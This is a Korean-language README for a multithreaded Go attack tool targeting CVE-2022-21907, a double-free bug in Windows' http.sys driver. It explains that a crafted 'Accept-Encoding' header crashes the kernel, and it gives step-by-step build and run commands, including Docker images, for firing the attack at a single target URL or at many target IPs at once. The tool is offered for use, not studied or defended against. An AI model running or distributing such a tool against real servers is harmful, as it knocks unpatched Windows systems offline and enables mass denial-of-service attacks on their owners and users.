
멀티스레드 Golang 애플리케이션
CVE-2022-21907 - http.sys 드라이버의 이중 해제(Double Free).
이것은 여러 대상에 동시에 요청을 보낼 수 있는 멀티스레드 Golang 애플리케이션입니다.
POST 요청에서 생산성이 높지는 않지만, 선형 방식에 비해 약 30%의 속도 향상을 제공합니다.
인증되지 않은 공격자는 "Accept-Encoding" HTTP 요청 헤더를 포함한 HTTP 요청을 보내 HTTP 프로토콜 스택(http.sys) 내 알 수 없는 코딩 목록에서 이중 해제를 유발하여 패킷을 처리할 때 커널 충돌을 일으킬 수 있습니다.
Golang:
Golang:
1. git clone https://github.com/iveresk/cve-2022-21907.git
2. cd cve-2022-21907
3. go build cve-2022-21907.go -o /cve-2022-21907
4. chmod +x cve-2022-21907
5. ./cve-2022-21907 -t <targetURL> [or <targetFile>]
Docker 로컬 빌드:
1. git clone https://github.com/iveresk/cve-2022-21907.git
2. cd cve-2022-21907
3. nano input.txt [input here your target's IPs in the list]
4. docker build -t <tagName> . || docker build --build-arg INPUT_FILE=<default_target_filename> -t <tagName> .
[In Docker there is a default file named as "input.txt", but you may specify your own one]
5. docker run -it <tagName> || docker run -it -e INPUT_FILE=<target_filename> <tagName>
Docker 저장소
docker pull masterrooot/cve-2022-21907:latest
docker run -it <tagName> || docker run -it -e INPUT_FILE=<target_filename> <tagName>
Windows Server 2019 및 Windows 10 버전 1809:
자세한 내용은 Keybase를 통해 자유롭게 연락 주십시오.